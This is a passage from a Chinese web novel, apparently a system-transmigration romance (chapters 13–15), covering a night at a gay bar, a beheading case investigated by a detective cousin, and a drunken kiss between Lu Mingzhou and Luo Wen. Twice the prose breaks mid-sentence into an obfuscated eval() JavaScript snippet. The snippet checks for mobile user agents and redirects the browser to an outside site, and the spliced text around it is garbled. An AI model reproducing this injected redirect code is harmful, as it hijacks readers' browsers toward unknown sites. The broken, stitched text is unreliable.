陆明昼没有注意到这点细节,扣上手腕间袖口的一个纽扣,又微微拉上了一些,露出那双骨节分明,修长如竹的双手,眉眼上携着几分潇洒:“我晚点儿回来,你困了自己睡,就不要等我了。” 骆温没说话,只是一双清透漆黑的眼眸默默地注视着陆明昼的一举一动,直至他回头看向自己,眼含关切,才缓缓地点了点头。 跑车发动的轰鸣声在楼下响起,那道黑蓝色的身影如箭雨般闪了出去,骆温赤脚站在阳台注视了许久,直至那道车影消失在视线边缘,才慢慢垂下那双幽深的眼眸,将所有的情绪隐藏在眼底深处。 *** 临城的夜景一向繁华又多情,一排排灯光璀璨夺目,长河大桥蜿蜒数百米,道路下皆是往来如织的行人。 陆明昼依照着童昊发过来的地址,来到了一所名叫“夜色”的酒吧。 他正准备进去,可看着门前数对搂抱在一起,难舍难分的男性情侣不禁迟疑地放慢了脚步。 童昊在就在门口翘首以待,瞧见了陆明昼,便远远地朝他兴奋的招手。 陆明昼走了过去,跟在他的身边,掩住嘴巴,低声问道:“这是gay吧?你怎么带邵子阳来这里。” 童昊倒是不以为然,搂着陆明昼的肩膀,一副哥俩好的样子:“没来过吧,哥们就带你见识见识。” 陆明昼心说,我倒也没有很想见识。 他还在那犹豫中,就被童昊半拖着进了酒吧。 这个点的酒吧刚刚开店不久,不过气氛已经算是热烈了,散座上坐满了人,穿着小西装的服务生手里捧着托盘来回穿梭。 陆明昼生得一副俊美的好样貌,又身高腿长的,被童昊扯着进门时,就有许多人的目光落在了两人的身上,不过碍于不清楚他身边跟着的童昊是不是伴侣,这些前来猎艳的人便暂时按捺住,暗中观察着他的一举一动。 陆明昼去过酒吧,但没去过这种酒吧,感受到这些暗中的目光都来自和自己一样长着勾勾的男人,他衬衫下的皮肤都快激起了一阵的鸡皮疙瘩。 他想,果然我还不是这块料,便想着拉着童昊到角落去。 “你们位置选在哪里?”他不动声色的问道。 童昊指了指,一个远离舞台偏角落的位置,挑着眉道:“子阳他身份特殊,我就算想让你们见识见识场面,可也得带脑子啊。” 陆明昼松顿时松了一口气。 作为绑定他的一方,系统能隐约感受到陆明昼对于这个地方的抗拒,它觉得奇怪,骆温不也是和宿主一个性别吗?怎么就不见宿主这么抵触。 刚诞生不久的系统没什么心眼,有疑惑了就直接向宿主问出了口。 陆明昼下意识地便回答道:“那怎么能一样。” 这想法一出口,他就拧起了眉头。怎么个不一样呢? 许久后,陆明昼才继续解释道,话语中透着一股维护自家人的理直气壮:“骆温他不仅长得好看,而且性格又好,脑袋瓜又灵光,普通男人,怎么能和他比较。” 系统瞅他一眼,很想问他,你忘记骆温是个大反派了吗?而且还是黑化后心狠手辣的那种。 但看到陆明昼提及骆温时的格外偏袒,它默默地叹了一口气,心知自己这话说了也是白,希望宿主对于反派的与众不同,不会影响到任务完成吧。 说到这里,它不由得瞅了眼有关骆温的仇恨值,登时瞪大了眼睛。 “宿主,在你离开之后反派的仇恨值又涨了两三点,我看我们还是回去吧。”它迷惑不解,深感反派的反复无常。 陆明昼也觉得奇怪,顿了顿,他问道:“有解锁什么新剧情吗?” 系统翻了翻,摇头:“没有。” 陆明昼想了想,来都来了,总得坐一下再走,等会儿给骆温打个电话问问好了,是不是家里发生了什么事情。 比起刚来到这个世界一度飙升到爆表的仇恨值,现在的系统自觉历经大风大浪,对于某些时候忽升忽降个几点的仇恨值,也已经淡定了许多。 看在两人是革命战友的情况下,它同意了陆明昼的想法。 两人的交谈在脑海中仅仅一瞬,而童昊已经领着陆明昼到了角落里的座位。 昏黄暗淡的灯光下,一个身材高大,肩宽窄腰的男人正坐在里面,他的面孔被幽暗的灯光勾勒而出,浓眉深鼻,面容严谨而英挺,这是个和陆明昼的俊美截然不同的男人。 见到陆明昼和骆温两人来了,抖抖手中的香烟,邱子阳招呼了一声:“来了,昼儿。” 陆明昼早习惯他这种称呼,懒得去纠正这家伙的屡教不改,皱眉看着邱子阳玻璃桌上积攒的香烟头:“压力这么大?” 邱子阳从胸前口袋抽出一根,向他递去,陆明昼本想接过,但想到等会儿还要回去,便拒绝了。 骆温那鼻子精致好看,但敏感得很,一点点异味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212925|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能叫他难受好久,自从两人三天两头见面后,陆明昼就渐渐戒了。 邱子阳扬眉瞅他,并没有回答陆明昼的问题,而是啧啧称奇:“从前你可是抽得比我这老烟枪还狠,怎么?刚才电话里提到的小弟妹让你转性了。” “……抽烟抽多了也伤身体。”陆明昼不喜欢说起自己的私事,即使在兄弟面前也一样,只是他也纠正否认邱子阳口中的称呼问题。 他和邱子阳的关系说起来也挺亲近,他和邱子阳同一个外公外婆,也就是表兄弟的关系。 “小姨最近还好吗?”他问道,落座到邱子阳的对面。 邱子阳指缝间夹着香烟,吸完最后一口烟,吐气道:“还是老样子,倒是经常提起你,操心个不停。” 他看向陆明昼,眼睛微微眯起,打量片刻道:“半年不见,我看你变化不小。” 皮相还是那副轻易骗走人心的风流富少的好皮相,不过身上那股游戏人间的浪荡劲儿倒是没了,看起来沉稳了许多。如果不是对方走到自己面前,他邱子阳第一眼还真认不出来。 陆明昼心中微吓,心跳猝不及防之下快了半拍。这家伙不愧是刑警队出身,感官够敏锐的。 不过平行世界的他也是他,除了成年后的轨迹,他和原身两个人的经历还是有一定相似度的,陆明昼并不怕被拆穿。 他神色淡淡,在邵子阳透着几分深意的目光下讲了个地狱笑话:“可不,前些天被老头子叫回家又是骂又是扇巴掌的,清醒许多了。” 邵子阳本来也只是犯了职业病,无意识对着许久未见的亲表弟习惯性的开始分析揣摩,可作为陆明昼的娘家人,尤其是他亲姨的死和陆父的出轨有着不可推卸的关系。 他眼中掠过一丝怒意,咬着牙道:“那老兔崽子还敢打你?反了天了!” 童昊也没想到自己好兄弟有这一遭,看向陆明昼的眼神不免满含同情,可听到邵子阳的怒骂,险些将口中的酒水一口气喷出去。 他拼命咳嗽,示意着邵子阳:这不是连着陆明昼一起骂了? 邵子阳和陆明昼还真没觉得有什么,两个人都对陆父没什么好感,后者反正是这个世界捡来的便宜父亲,就不更不用说什么了。 邵子阳依旧骂骂咧咧的,童昊伸着胳膊肘捅了又捅,才叫他停了下来。 此时舞台上已经开始被酒吧的员工摆好架势,一些穿着女仆装,面庞清秀的男性,头戴猫耳朵摇动着柔软的腰肢,跳着火辣的舞蹈。 陆明昼:“……这就是你说的长见识?”他艰难地找回了自己的声音,旋即转过头去,一脸的不忍直视:“我还是欣赏不来。” 童昊兴奋地望着舞台,时不时地撅起嘴吹个口哨,完美地融入了酒吧热烈的氛围。 听到陆明昼这话,纳闷地看着他:“你那位不也是男的么?” 陆明昼扶着额头,没有否认:“是……但是……” 童昊看看舞台上的脱衣舞郎,再看看陆明昼满脸的纠结,似乎是明白了什么,斜着眼睛看着他直笑:“你想想,如果你家那位穿着女仆装,头戴猫耳,你还会无法欣赏吗?” 陆明昼原本没想那么远,可思绪被他话这么一带跑…… 骆温的腰又细又软,皮肤也是光滑白皙,那张矜持清冷的脸庞,穿上女仆装,再戴上猫耳发箍…… 陆明昼面色不改,心里头的小人却似乎敲起了小鼓,咚咚咚的,震得他的心头和耳膜嗡嗡的,有些恍神。 童昊见他开始走神,对着邵子阳甩了一个眼神,脸上写满了嘚瑟。 他举起杯子,对着陆明昼敬了杯酒:“来吧,替家里的嫂子喝一杯。” 陆明昼:“……嗯。”他恍惚间,被童昊灌了好几杯高浓度鸡尾酒,再看向舞台时,总觉得台上的舞者们,个个都生了一张同骆温一模一样的面孔。 陆明昼先是惊吓,一个骆温酒足以让世界毁灭,再来好几个,那这世界最后得成什么样啊。 童昊:“……这就醉了?”他纳罕地瞅着开始胡言乱语的陆明昼,有些不可置信。 邵子阳一直没说话,听了他的困惑,刑警先生颇有些无语:“你也不看看你给他灌了几杯。” 童昊一瞅空了大半的酒桌,面色讪讪:“害,这不想着马上是他生日吗,他老在这世界前后不开心,这喝醉不就好了。” 他抬眼看着邵子阳,对方坐在墙角,头上还戴着一个鸭舌帽,身影几乎都快融入了黑暗中,不禁叹气:“你这职业当得也够麻烦,好不容易休假,出来陪兄弟喝个酒还要遮遮掩掩。” 邵子阳没好气:“行了吧,见识也见识过了,那就散场吧。” 这时候才不过十来点,正是场子正热的时候,童昊有些不想走,他看了看面色酡红,嘴里一直喃喃不停的陆明昼,道:“成,那你送他回家,兄弟我呢在这再待会儿。” 邵子阳正想答应,放在桌面上的手机突然猛烈震动起来,他看了眼,本来还算轻松的面色立即严肃了起来。 “喂?” “邵队,清荷湾22号发生凶案,死者尸首分离,墙上还留下了一个眼珠子模样的标记。” 对面的声音带着些许恐惧,吞咽了口水才说道:“兄弟们都已经到这了,你赶紧过来。” 13.雨夜 邵子阳收好手机,站起身,压了压头上的帽子:“我局里有事,要走了,你想办法把明昼送回家。” 他脚步一缓,正色道:“还有,下次要聚就找个正经地方,别把我们再拉这里来。” 童昊愣了一下,刚想争辩一两句,可见邵子阳面色凝重,想起对方的身份,立刻意识到了什么:“有案子?” 邵子阳没点头也没否认,转头匆匆往外走去。 此刻夜色酒吧气氛正酣,他又穿着一身黑,压着帽子绕着角落走时,并没有人注意到他的离开。 邵子阳驾着自己的车子,一路疾驰,很快抵达了手下口中所说的案发地点。 “邵队。”他戴上身边人递过来的手套和脚套,打开别墅大门,轻手轻脚地走了进去。 推开门,扑面而来的便是一股浓烈的恶臭与血腥味。 对于接触过不少案件的警察来说,邵子阳对这种气味并不陌生。可饶是如此,他也从来没有看过如此触目惊心的一幕。 整个卧室几乎被铺天的血迹覆盖,原本精致高雅的家居上都是斑斑血迹,墙壁上随处可见指痕和缺口。 一具无头男尸静静地趴在地上,头颅掉落在血泊当中,双目圆睁,面目狰狞,从形貌上已经认不出身份,只有那双涣散的瞳孔直勾勾地瞪着上方,脸上写满了惊骇和恐怖。 邵子阳半跪在地上,一部分献血浸染了他的衣服和裤子,不过他并不在意,低头观察着死者全身上下的每一处。 他缓缓抬起头,以死者同样的视角看去,只见天花板的顶端,被人用鲜血画上了一个拳头般大小的眼瞳。 恍惚间,那双眼瞳似乎正在居高临下的注视着底下的所有人。 “死者介绍一下。”邵子阳皱了皱眉,从地上缓缓起身。 “死者叫柯天宇,男性,今年二十三岁……”其他警员替邵子阳解释着,邵子阳听到这个熟悉的名字微微一愣:“柯天宇?” “是,这家伙家里很有钱,柯家是我们市的知名企业。”警员顿了顿,看出邵子阳的面色古怪:“邵队你认识?” 邵子阳是真没想到,这个让他印象不佳,被他认作是表弟狐朋狗友的家伙,竟然就这么凄惨地死在了自己的家中。 邵子阳神色肃然,眸色深沉,微微叹息:“认识,几年前见过。” 他目光不停,起身搜寻着房间里的每一件物品,寻找着任何一处可能存在奇异的存在。 他的眸光又再度落在那双天花板的血眸中,总觉得它有种魔力,仿佛能摄人心神一般,让人忍不住看了又看。 “你有没有觉得它很眼熟,我总感觉在哪里见过一样。”邵子阳盯着血眸,思索良久,幸而他记忆力超群,很快便找到了这种奇特的熟悉感是来自何方。 “十多年前,隔壁江城是不是发生过一起分尸案。” 江城就坐落在临城的东南方,两处的距离乘坐高铁仅用一个多小时便能抵达,那时候邵子阳刚从警校毕业不久,但他的老师是非常知名的现场侦查专家,邵子阳便有了了解这起案件的机会。 那起分尸案的受害者是位男性,生性风流,在外招惹了众多桃花,还和当地女子孕有一子。 死时是在一家五星酒店,头颅被人用刀切割却没有完全切断经络,搭在了肩膀之间,场面血腥又残忍。警察拉走尸体时时,发觉尸体背后的地面,被人用鲜血画上了一双血淋淋的眼瞳。 这桩诡异的案件,碍于缺少线索,始终未破,不过当初那血腥的场景也让初出茅庐的邵子阳留下了深刻印象。 他让人从资料里调出卷宗,将十年前的案发照片摆在了眼前,再抬头望向天花板,眼中满是凝重。 *** 邵子阳走后,童昊的心情略微有点沉重,不过他天生是乐观的性子,过会儿便把这点儿负面情绪抛在了脑后。 等看完了一个火辣的钢管舞表演,他才有心思注意到已经神情半醉半醒的陆明昼。 “嗯……”身上的手机叮叮作响,震得陆明昼硌得慌,他在身上摸索了许久才成功摸出手机,最后却不小心拨通了一个被他置顶的电话。 陆明昼攥起眉头,望着手机上的屏幕,判断了许久,还是没能认清字。 童昊瞅着他一阵折腾,知道这家伙仅存的意识不多,便好心的帮他接手机。 对面是一个清朗悦耳的声音,童昊下意识瞅了瞅备注,竟然备注的不是名字,而是一颗星星和月亮。 他奇怪,这什么玩意儿啊,哪有这么给人备注的。不过他只觉这备注的后面所展现的是,对方在自己兄弟心目中的与众不同。 “……陆明昼?”电话另一头的骆温意识到不对,蹙眉唤了一声对方的名字。 “是嫂子吗?”对方那边的称呼让骆温一愣,他顿了顿,并没有回答,直至对方再度出声,他才迟疑着说道:“陆明昼在你身边……有什么事情吗?” 见骆温并没有出声否认,童昊有种吃到瓜的兴奋,十分流畅地无视了骆温话语中的生硬与犹豫。 他俯下身,将听筒凑近陆明昼的嘴巴,笑嘻嘻地说道:“嫂子,你看陆哥嘴里好像一直喊着你的名字呢?” “是这样的嫂子,我现在这边走不开,能麻烦你过来把陆哥接走吗?他好像喝醉了。” 听筒对面沉默了很久,童昊困惑地喂了几声,还以为电话不小心被自己按断了。 许久之后,他听到对面的呼吸声似乎重了些许,然后是冷静的声线:“把地址发过来,我马上过来。” 听见陆明昼有人来接了,童昊是大喜过望,立即把人扶了起来,又和服务生交代了一声先别收桌,把陆明昼的胳膊架在自己的肩头,艰难地往外挪动,然后在马路牙子边上翘首以待。 将近十二点,先前热闹非凡的临城散了些人气,只有酒吧门口停着一排排的豪车,与城市的灯光一同熠熠生辉。 骆温套上衣服,定位好夜色酒吧,在手机上叫了辆网约车便往目的地赶。 上了年纪头发微白的司机大叔看着后视镜中学期模样的骆温同他搭话,用着几分带有临城口音的语调说道:“这么晚了还去酒吧?你看看打雷了,马上就要下大雨,没要紧的事,还是早些回家比较好,那酒吧里很乱的。” 司机大叔是地地道道的临城人,又载了好多年的客人,形形色色的人都见过,可看骆温这幅干干净净的模样,清楚夜色是什么的地方,便忍不住开口劝说了几句。 在静谧又安宁的夜里,坐在温暖又整洁的车厢里,一向沉默寡言的骆温难得有了开口的欲望。 他解释道:“我是去接人。” 骆温顿了顿,口中那句话说出口时仿佛在心中敲击起了一种独特的韵律,缓缓道:“是要紧的人。” 接人倒好点儿,但也没找到那里去。司机大叔转动着方向盘,转了个弯,接过他的话茬:“要落雨了,不是要紧的人也不能冒着大雨来接,不会是你的男朋友吧?” 骆温没有再作声,而随着司机的一脚刹车,车子也抵达了终点。 他一眼便看见了被人扶着肩膀的陆明昼。 骆温皱眉,看来真是醉的不轻了,他三下做两下,迈开步子朝着对方走去。 等走到对方的面前,看着意识半醉半醒的陆明昼,他伸出手,准备接过对方手中的人。 童昊眼瞅着一个气质偏冷的清瘦青年朝自己走来,下意识的皱起眉头,他觉得对方的样子看着实在不像是自己陆哥会喜欢的模样。难道对方是换口味了? 他犹豫着,手肘拐了拐身边的陆明昼:“陆哥,这是嫂子不?” 陆明昼被他用力一手肘,眉头直皱,原本昏昏沉沉地大脑有一瞬间的清醒,他望着突然出现在自己面前,那张再熟悉不过的面孔,眉头皱紧又缓缓舒展,唇角露出抹笑意:“你来接我了?” 骆温脚步一缓,对上那双深邃含情的眼眸,轻轻点了点头。 童昊这才放心把陆明昼交给了对方,嬉皮笑脸的,脸上满是调侃:“行,那把人交到正主手里,我也就放心啦。” 骆温不习惯接触如此性格外放的人,但想到对方似乎是陆明昼关系极好的兄弟,还是微微颔首,客气般的说道:“麻烦你了。” “害,这说的都是见外的话。”童昊挥了挥手,示意不用放在心上,然后想了想,从兜里摸出陆明昼刚才落在他那里的手机,向着骆温递了过去:“嫂子,陆哥的手机。” 骆温正要离开,却被童昊犹豫着叫住了。他转过眸,疑惑地望着面前这个娃娃脸的青年。却见对方脸上浮现出犹疑的神色,欲言又止的样子。 他不动声色,目光探向对方,那双黑眸里的幽深黑沉仿佛能 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眼见着自己说了一大通,诉说对象却始终沉默不语,童昊有些尴尬,抓了抓头发:“都是我自己胡思乱想的,你就当听个趣吧。不过明天就是陆哥的生日,每年这个时候,他的心情都不大好,要是可以的话,嫂子你多陪陪他。” 骆温终于抬起了眼,他眸中晦涩的眼神一掠而过,开口的声音有些生涩:“……我能问问是为什么吗?” 童昊愣了一下,面上显现出纠结和不安,但最终还是开了口,并且压低了声音:“陆哥妈妈,我陆姨,就是在他生日那天自杀的。” 骆温几乎以为自己听错了他的话。 陆明昼,陆少爷,那人看起来金尊玉贵,张扬肆意的样子好似从未经历过这世上的半分难处,但他身后居然也有着这样一段听起来悲凉苦楚的往事。 像是应景一般,天边墨云翻涌,一声霹雳响彻云端,苍白森冷的雷光照亮了整片黑夜,紧接着便是细细碎碎从铅灰色的深空上坠落下来的雨线。 骆温扶住陆明昼手臂的十指缓缓收紧,温热的体温隔着衣料慢慢浸染他的指尖,在萧瑟微冷的夜风中给予了几分仅存的暖意。 “……嗯。”他轻轻颔首,没有发现自己望向陆明昼的目光盈盈如水,流动着一股缠绵悱恻的柔情。 这种情绪,向来是局外人看得分明,童昊本来还有些后悔自己将陆明昼的事脱口而出,可瞧着骆温的神情,心头微松:那话没白说,这位看起来也是知人情体贴的人物。 他向两人告辞:“那我哥就有劳嫂子照顾,我先走一步。” 还没等骆温说什么,他便如同泥鳅般钻进了酒吧当中。 骆温半搂半抱,边扶着陆明昼,另一只手艰难地打车。 好在打车软件响应的极快,界面上马上就跳出了响应车辆,一两声喇叭的声音响起,骆温转头看去,车子正好停在了不远处。 又是一阵响彻夜空的轰鸣,雨势顿时转大,成了串的雨珠子砸在地上,本就湿润的地面上眼瞅着就起了一层渺渺升起的水雾。 车子缓缓开到面前,骆温赶紧搀着陆明昼打开车门,将他先一步塞了进去。 嘭的一声,本就身高腿长的陆明昼不小心磕到了车门,倒吸了一口凉气,呆坐在座位上捂着额头,双眼迷茫。 “嗯……地震了?”他嘟囔一句,眼看着又要倒了下去,眼见着就要磕到窗户玻璃上。 骆温原先翻滚满腔的复杂都成了无语,没好气的搂过对方的脖颈,让他的身子往自己这边倾斜。 陆明昼倒好,发觉身边有个触感极好的人肉垫子后,便毫不犹豫的往他身上靠来,倒在骆温的双腿上,还不忘自然地搂上了他那劲瘦纤细的腰身。 令人熟悉的皂响再度萦绕鼻尖,脖子下枕得又是温热又柔软的大腿,处于睡梦中的陆明昼满意的不得了。 骆温的身体有一瞬间的僵硬。 下一刻原本平缓行驶的车子大概是经过了一处深坑,狠狠地晃荡着,险些将没有防备的骆温和醉鬼陆明昼甩到另一侧。 骆温看着紧拧着长眉的陆明昼,叹了口气,伸出手去,将对方的脸捧在了手心。 睡着的陆明昼倒是没有平日里的张扬,除了沉静外,还多了几分乖巧。 骆温唇角微微泛起一丝笑意,伸出手去,小心翼翼地戳了戳对方的面颊,眉眼间是流动着脉脉的柔意。 窗外暴雨倾盆,却无碍车上一片静谧。 14.吻 骆温把陆明昼放在床上的时候,床头的指针已经逐渐走到了凌晨一点。他走向盥洗室,拽了条毛巾打湿,准备给陆明昼擦擦脸和身体。 一直默不作声的系统在骆温走进盥洗室后,凑到了陆明昼的身边,用着两条发光的小手抽了抽他的脸,想和他分享任务的最新消息。 “宿主,仇恨值刚才下降了数十点,我看我们的未来可期。” 它的声音听在脑子里一片混沌的陆明昼耳朵里,只觉得像是蚊子似得嗡嗡作响,他皱着眉头抓住系统,将他塞到枕头底下,嘴里囔囔:“别吵,我要睡觉。” 系统差点儿没闷死,挣扎着从枕头里钻出来,怒从心头起,两只小手扇动,狠狠给了陆明昼这罪魁祸首几巴掌,抽得他俊脸迅速留下了几道红痕。 陆明昼眉头皱起更深,原先醉意沉沉的双眼也缓缓睁了开来。 “谁……”他喃喃着,捂住了自己的面颊,疼得嘶了一声。 系统做贼心虚,正巧骆温推门从盥洗室走了出来,它就顺势躲进了门后。 陆明昼找寻半天,视线茫然又困惑的在空无一物的房间里徘徊许久,直至落在了朝自己走来的清丽美人身上,才微微睁大了眼睛。 “……骆温。”他依旧带着些醉意,可比刚才在酒吧里车上那副昏迷不醒的样子有好了许多,环视一圈,至少能够意识到自己回到了家里,只是醉酒后的智商还不足以反应出自己是怎么回来的。 骆温嗯了一声,抬手用湿毛巾去擦他泛红的脸,等看到几条红痕,他眉头轻敛,眼中是说不出的奇怪:“这是哪里来的?” 系统心虚地缩了缩小小的身体。 他满眼困扰,伸出手轻轻去碰那几道痕迹,想了半天也没想到这房间还会有另一个存在,眉头展开些许,避开那几道红痕,动作轻柔地替床上的人擦脸。 陆明昼目光呆滞地望着他,看似人回来了,其实魂还没到位。 他的耳膜似乎还在嗡鸣,眼中莫名出现了刚才在酒吧里看到的猫耳男郎跳舞的画面,只是那张脸却换成了骆温的,叫人愈发心动。 他出手扣住骆温正替自己擦脸的手,那双眼尾上挑的桃花眼里溢满了仿佛正在流动的情绪,说不出的温柔和情深。 他盯着面前人许久,目光直戳戳的,突然冒出了一句话:“你比他们好看一百倍……” 那双眼里的情感如酒般醉人,骆温被他扣住的手一僵,随后似乎连整个身子都僵住了。 醉酒的人力气不大,可骆温却被他轻轻一推,便倒在了床榻上。 手上的毛巾滑落至地板上,一声轻响,却没有影响房间里暧昧又热烈的气氛。 陆明昼两只手抵住骆温头颅两侧,低下头来,两人鼻尖抵住鼻尖,温热又带着酒意的气息喷洒在骆温的脸上,几乎叫他下意识攥住对方的衣角,眼中闪过惊慌失措。 那张苍白的妍丽面庞,在不知不觉间染上了醉意,烧红一片,红艳艳的,联通眼下的泪痣也似乎晕上了几分色气。 骆温想要挣扎,却被他禁锢在双臂之间无处可逃,他的耳根烧得通红,躲避着陆明昼此刻有些过分炽烈的目光,偏着头,不知如何是好。 一个灼热又夹杂着酒意的吻轻轻落在骆温的唇上,然后是撬开唇齿,几近缠绵的深吻。 那是种令人头脑眩晕,无法运转的奇妙之感,至少骆温从未感受到自己像是如同这一刻一样,踏在绵软而温柔的云端。 他抵住陆明昼胸膛的十指逐渐展开,连自己什么时候揽住了对方的脖颈都不知道,修长的身躯与对方覆有薄肌的肌肤紧贴。 脑子中好似缺了氧,恍惚间,骆温被亲吻着,忽然很想问身上的人:“我是什么……”是一致协议能够绑定的玩物,挥之即来招之即去。还是有所不同,可能存在几分真意的情人。 他们之间算是什么关系呢? 明明是抵死如情人般缠绵,却又似乎除了一致白纸黑字的协议,什么也没有。 但他到底还是胆怯了,垂着眼,紧紧地拥住了陆明昼的脖子,竭尽全力的回应着对方,什么也不想。 系统疑惑地看看床上缠绵深吻的两人,又看看忽高忽低的数值,百思不得其解。 它将这归咎于人类太过复杂,反派又是其中最复杂的一类,思索无果后,便放弃了思考,反正有宿主兜底,根本不用担心。 陆明昼在这缠绵深吻中已经逐渐清醒了过来,望着怀中的骆温,气息紊乱,殷红的唇瓣湿润又微肿,黑眸充满着水汽。 他不禁陷入了沉默。 喝酒误事!喝酒误事啊! 他一手抱住骆温,眼睛来回逡巡,寻找着躲在某处的系统,终于在角落发现了端倪。 “系统,你怎么不提醒我?”他理直气壮地说道。 系统幽怨又没好气:“我能怎么做,我狠狠抽你脸好几下你都没醒,简直是色迷心窍。” 陆明昼总算是明白了脸上的刺痛感来自何方,他静默良久,最后吐魂般吐出一句:“再也不喝酒了。” 系统心有余悸,点点头:“是啊,喝酒耽误事。” 陆明昼此时面对骆温还有些尴尬,毕竟又占了人家便宜,害……美人惑人啊! 他把人放在床上,又给他盖上被子,轻声道:“你先睡。” 骆温从恍惚中回过神,下意识便想爬起来,他懵懵的:“今天是你的生日。” 嘴里忽然冒出一句:“今天是你的生日。” 随后他意识到这个日子对于对方的不同意义,面色有一瞬间的凝滞,脸颊迅速地褪去红色。 “……嗯?”陆明昼清醒了,但是脑瓜子却不如往常的灵光,沿着他的话缓慢地转动脑筋:“生日。” 其实在另一个世界,陆明昼已经释然许多,虽没有特意过过这个日子,但也不再刻意避讳。 他凝视着底下那张顿时有些张皇的面孔,勾起唇角,轻轻一笑:“生日啊,生日……” 骆温见他似乎没有想象中的在意,迟疑了片刻,偏过头去,眼中闪过几分困窘:“我去给你煮碗长寿面。” 他想着,没有生日蛋糕,但根据临城的风俗,总该有碗长寿面的。 陆明昼闻言,心中升腾出一股说不出的滋味,有些像是感动,又有些像是怜惜。他搂住对方欲起身的腰,看了眼墙壁上的时间,脸上是一闪而过的温柔神色。 “哪里用得着这么麻烦。”他指了指自己的嘴唇,剑眉上扬:“没有生日蛋糕,有一个美人的香味也可以啊。” 骆温没有动作,黑眸沉沉,染上了一层晦涩难明的光芒。 陆明昼本就是开个玩笑,也怕他为难,正要调笑着蒙混过关。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234755|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一刻,一个宛若雪花般轻盈纯粹的吻,轻轻落在了他的唇角。 与方才缠绵悱恻的深吻不同,这个亲吻不沾染半分情欲,像是少年时的青涩初恋,纯爱又甜蜜。 骆温仰头望着他,大胆地将脸蛋贴近他的手掌,温润细腻的皮肤在陆明昼的手心轻蹭着,乖巧的模样像是一只被驯服的猫,暗中收敛了自己所有的锋芒。 对方轻声问道:“这样可以吗?” 陆明昼心头倒吸一口凉气:他这架势哪里学会的呢?要了老命了。 陆明昼想要抗拒,却清楚地知道对方并不是什么任人揉搓的家猫。 系统又在耳侧不断提醒着陆明昼,他暗中吸气,面上却淡定得很,摸了摸骆温的面颊,却一触即离。 “给你加工资。”他看似淡定又正经的说道,随后躺倒在床上,还不忘拉着骆温一起倒了下来。 柔软的被子落到了身上,他又听到对方故作冷硬的声音:“快睡,不然明天上课起不来。” 骆温:“……” 几个呼吸过后,他便听到了身侧人略有些沉重的气息,大约是已经进入了梦乡。 骆温侧过身,银白色的月光透过窗帘之间的缝隙,洒落了几缕余辉。 一两缕落在了身侧之人的面颊上,更显他眉眼清俊,面容出众。 都说女人心海底针,叫骆温看来,陆明昼的心思也有些难以预料。 他口中轻轻呼气,凝望着面前人的脸许久,黑眸幽幽。 正要闭上眼睛时,被一双手像是揉弄玩偶一样揉到了怀中,对方的手紧紧箍住他的腰,将鼻尖埋在他的脖颈处,霸道又无解。 骆温正在纠结的思绪被他的动作全盘打乱,他望着房间中的黑暗,轻声叹气,无奈至极。 还能怎么办吧,总之已经比他预想的结果要好得多了。 *** 昨夜的狂风骤雨来得及,去得也急,到了夜色褪去时,除却一地的残枝绿叶,已是艳阳高悬。 陆明昼起床时还有些懵,他是真的被童昊灌了不少的酒,昨晚只觉得晕乎,到了今天,脑袋里就变成了一抽一抽的疼痛。 厨房里传来一阵阵香味,陆明昼披上衣服,诧异地发现骆温还没有离开。 “今天前两节没课。”大约是看出陆明昼的疑惑,骆温拿着锅铲,神色从容而淡定的解释。 见陆明昼捂着太阳穴,表情一阵一阵的狰狞,他从旁边倒了杯水,向他递了过去。 体贴,真是太体贴了,陆明昼发觉口中热水的温度正好,顿时生出了几分幸福之感。 他正想开口说什么,只听外面突然响起了一阵敲门声。 “我来。”陆明昼提起眉头,这大清早的,是哪位不速之客。见骆温脱下围裙要去开门,他先一步去了门口。 陆明昼打开门,一张昨晚刚见过不久的面孔引入眼帘,令他诧异异常。 来人正是邵子阳,穿着低调,身后跟着一个便衣打扮的警员。 “先进来吧。”陆明昼见他面容冷峻,身后的人身上还佩戴着一个执法记录仪,便发觉事情没有那么简单。 邵子阳没着急进门,门内一股香气飘然而至,他扬眉问道:“家里有人?” 陆明昼还没回答,就听他沉声问道:“他的名字是不是叫骆温?” 15.警告 邵子阳的到来实在突兀,而且看他的样子并不是为私事而来。 陆明昼察觉到不对劲,没有回答他的问题,皱着眉头,眸光沉沉:“你今天来是为了问这个?” 在好友面前,陆明昼也不想自己表现的过于富有攻击性,但在涉及骆温的事情上,他始终心存警惕。 他顿了顿,打开了门:“还是先进来再说吧。” 邵子阳带着警员进入了屋子,他先是打量了一眼周围的布置,然后目光往半掩住的厨房探了探,语气略为调侃:“你现在这日子可算是过得有滋有味,我妈要是亲眼看到,也不用整日你念叨你了。” 陆明昼给沙发上的两人倒了杯开水,也缓缓落座。 他淡淡一笑:“你今天总不会是来看我过得怎么样吧,以我们两个的性格,就别绕圈子了。说吧,出了什么事情,才劳动你邵队上门。” 邵子阳没碰开水,抬起眼,敏锐如利刃般的目光落在了陆明昼的脸上,没有回答,而是反问:“昨天四点到七点左右,你在哪里?” 这种问话,通常只出现在案件当中,陆明昼眉头微紧,没有避讳对方仔细端详的视线,敛目沉思,缓缓道:“我四点多的时候,去了我哥的公司,和他讨论一款即将推出的游戏项目。快到六点出头,就开车去临大,把骆温接了回来。” 他视线望着邵子阳,淡淡道:“既然你先提到了骆温,也知道我和他是什么关系,就不用再让我介绍了吧。” 